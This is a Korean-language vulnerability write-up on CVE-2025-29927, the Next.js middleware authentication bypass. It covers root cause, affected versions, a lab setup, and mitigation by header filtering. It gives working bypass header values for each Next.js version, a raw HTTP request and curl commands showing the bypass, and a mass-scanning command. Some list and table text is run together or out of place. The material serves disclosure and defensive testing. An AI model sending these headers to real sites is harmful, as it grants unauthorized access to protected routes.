
이 문서는 Next.js 프레임워크의 Middleware 메커니즘에 영향을 미치는 취약점 CVE-2025-29927에 대한 연구를 제시합니다.
Next.js는 Vercel에서 개발한 React 기반 애플리케이션 개발을 위한 인기 있는 오픈소스 프레임워크입니다. 서버 측 렌더링, 정적 생성 및 라우팅, 리디렉션, 보안 헤더 및 액세스 권한 검사에 사용되는 유연한 미들웨어 시스템을 지원합니다.
2025년 3월, 내부 하위 요청의 서비스 헤더 처리와 관련된 중요 취약점 CVE-2025-29927이 발견되었습니다.
문제의 핵심은 x-middleware-subrequest HTTP 헤더에 특수한 값을 삽입하여 미들웨어에서만 접근 제어가 구현된 애플리케이션의 인증 검사를 우회할 수 있다는 점입니다. 보안이 미들웨어에만 의존하는 경우, 공격자는 보호된 라우트나 데이터에 접근할 수 있습니다.
영향을 받는 Next.js 버전 및 수정 사항 (공개 소스 및 공식 자료 기준):
수정 사항은 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 릴리스에서 제공됩니다.
Next.js는 프로덕션 환경에서 널리 사용되며, 인증/권한 부여 및 보안 정책에 자주 사용되는 미들웨어 계층에 영향을 미치는 이 취약점은 실질적으로 높은 위험을 수반합니다.
취약점을 단계별로 분석하고 전체 연구 사이클을 구성합니다:
자료 수집 및 구조화.
CVE-2025-29927에 대한 공개 소스를 체계화하고, 결함의 본질, 트리거 조건, 확인된 버전/패치를 설명합니다.
CPE 및 구성 조건 정의.
취약점이 재현되는 CPE/버전 목록 및 구성(예: 자체 호스팅 배포 및 미들웨어 수준 권한 부여)을 설명합니다.
안전한 데모.
취약한 버전에서 미들웨어 우회 사실을 확인하는 재현 가능한 데모를 테스트 환경에서 준비합니다(파괴적 작업 없이).
대량 검사 방법론.
세 가지 안전한 접근 방식을 설명하고 구현합니다:

근본 원인. Next.js에서 서비스 헤더 x-middleware-subrequest는 내부 하위 요청을 추적하고 미들웨어에서 재귀를 방지하는 데 사용됩니다. 취약한 브랜치에서 외부 클라이언트는 이 헤더에 "예상" 값을 삽입할 수 있으며, 런타임은 미들웨어 실행을 건너뛰고 요청을 라우트 핸들러로 직접 전달합니다.
헤더의 역할. x-middleware-subrequest 헤더는 원래 현재 HTTP 요청이 사용자로부터 직접 온 것이 아니라 프레임워크 자체에서 중간 하위 요청으로 시작되었음을 나타내는 내부 표시기로 설계되었습니다.
이는 라우팅 외에도 Next.js의 내부 메커니즘이 올바르게 작동하는 데 필요합니다. 이 플래그는 호출된 각 중간 계층을 "표시"하여 무한 재귀를 방지하는 데 도움이 됩니다.
그러나 바로 이 로직이 의도치 않은 보안 허점을 만들었습니다. 클라이언트가 자체적으로 이러한 헤더를 추가하면 시스템이 자신의 요청을 내부 요청으로 처리하고 인증 검사를 우회할 수 있습니다.
로직의 진화.
NVD의 최신 기록은 대상 소프트웨어 node.js를 사용하는 Vercel Next.js 제품을 나타냅니다. 취약한 브랜치에는 다음 구성이 적용됩니다 (버전 범위는 NVD의 CPE 구성 수준에서 설정됨):
| CPE URI | 취약한 버전 범위 |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
참고: CVE 설명에는 "11.1.4부터 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3까지" 취약점이 아래 조건을 충족할 때 재현된다고 명시되어 있습니다.
next start, output: 'standalone' 빌드) 또는 미들웨어가 서비스 헤더에 대한 경계 필터링 없이 들어오는 요청에 대해 실행되는 모든 환경.x-middleware-subrequest가 포함된 사용자 요청을 차단하는 외부 수단(예: WAF 규칙)이 없음.x-middleware-subrequest 내부 메커니즘미들웨어의 무한 재귀를 방지하기 위해 런타임은 서비스 헤더를 구성하고 읽습니다:
:으로 구분된 요소가 있는 문자열로 해석되어 "하위 요청" 배열을 얻습니다.NextResponse.next()를 통해 즉시 건너뛰게 됨),x-middleware-subrequest-id)가 추가되었습니다. 이 식별자가 일치하지 않으면 들어오는 x-middleware-subrequest는 서버 측에서 지워집니다.공격자는 대상 Next.js 애플리케이션에 HTTP 요청을 보내고 서비스 헤더 x-middleware-subrequest를 추가합니다.
값에는 미들웨어 파일의 경로(예: pages/_middleware, middleware 또는 src/middleware)가 지정됩니다.
필요한 값은 사용되는 Next.js 버전과 프로젝트 구조에 따라 다릅니다.
이러한 요청이 애플리케이션에 도달하면 프레임워크의 내부 로직은 이를 내부 하위 요청으로 인식하고 미들웨어 계층이 이미 실행되었다고 가정합니다.
결과적으로 일반적으로 미들웨어에서 발생하는 인증 및 권한 부여 검사가 사실상 건너뛰어집니다.
중요: 이 자료는 비공개 테스트 환경에서 패치 확인 및 위험 모델링을 위해서만 제공됩니다.
프로덕션 인프라에서의 모든 검사는 리소스 소유자의 허가를 받은 경우에만 가능합니다.
Next.js는 서비스 헤더 x-middleware-subrequest를 사용하여 내부 하위 요청을 표시하고 미들웨어의 재귀적 실행을 방지합니다.
요청을 처리할 때 헤더 값은 : 문자로 분할되고 현재 미들웨어의 이름과 비교됩니다.
최신 버전에는 깊이 제한(MAX_RECURSION_DEPTH, 일반적으로 5)이 추가되었습니다.
조건(이름 일치 또는 제한 도달)이 충족되면 Next.js는 미들웨어를 건너뛰고 요청을 더 전달합니다.
공격자는 내부 하위 요청을 모방하여 올바른 헤더 값을 구성할 수 있습니다.
_middleware.*_middleware.js/ts 로 명명되었고 pages/ 디렉토리에 위치했습니다.x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts 가 되었습니다./src 디렉토리 루트에 있을 수 있습니다.x-middleware-subrequest: middleware 또는 x-middleware-subrequest: src/middleware:로 분할되고 미들웨어 이름 반복 횟수가 ≥ 5이면NextResponse.next()를 통해 미들웨어를 건너뜁니다.x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 또는 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware15.x 릴리스에서 개발자는 무한 재귀 호출을 방지하기 위해 로직을 재설계했습니다.
경로에서 미들웨어가 트리거되면(예: /api/*), Next.js는 동일한 미들웨어를 다시 시작하는 다른 URL을 얻습니다.
프레임워크는 x-middleware-subrequest 헤더를 통해 트리거 횟수를 계산합니다.
호출 횟수가 설정된 임계값(MAX_RECURSION_DEPTH, 기본값 5)에 도달하면 추가 미들웨어 호출이 차단됩니다.
공격자는 이 동작을 악용하여 헤더에 필요한 반복 횟수가 포함된 값을 미리 지정하고 인위적으로 깊이 제한에 도달하게 할 수 있습니다. 결과적으로 미들웨어가 완전히 건너뛰어집니다.
이전 브랜치의 경우 위에 제공된 옵션에 따라 헤더 값이 선택됩니다
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest는 무한 재귀를 방지하기 위한 내부 메커니즘으로 설계되었습니다.
그러나 취약한 버전에서는 외부 요청에 대한 필터링이 누락되었습니다. 클라이언트가 헤더를 위조하여
건너뛰기 조건(이름 일치 또는 깊이 제한 도달)을 충족시키고
보호된 라우트의 핸들러에 직접 접근할 수 있습니다.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
테스트:
(예제는 Next.js 15.2.2 기반, 다른 브랜치의 경우 PoC 섹션의 표에 따라 헤더 값 선택)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest 헤더를 필터링하거나 삭제하십시오.X-Middleware-Subrequest 헤더를 사용하여 미들웨어 우회를 능동적으로 테스트합니다.
⚠️ 주의: 이 템플릿은 자신의 소유 또는 허가된 대상에 대한 테스트용으로만 설계되었습니다. 소유자의 동의 없이 타사 서비스에 사용하는 것은 불법입니다.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* |
| 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |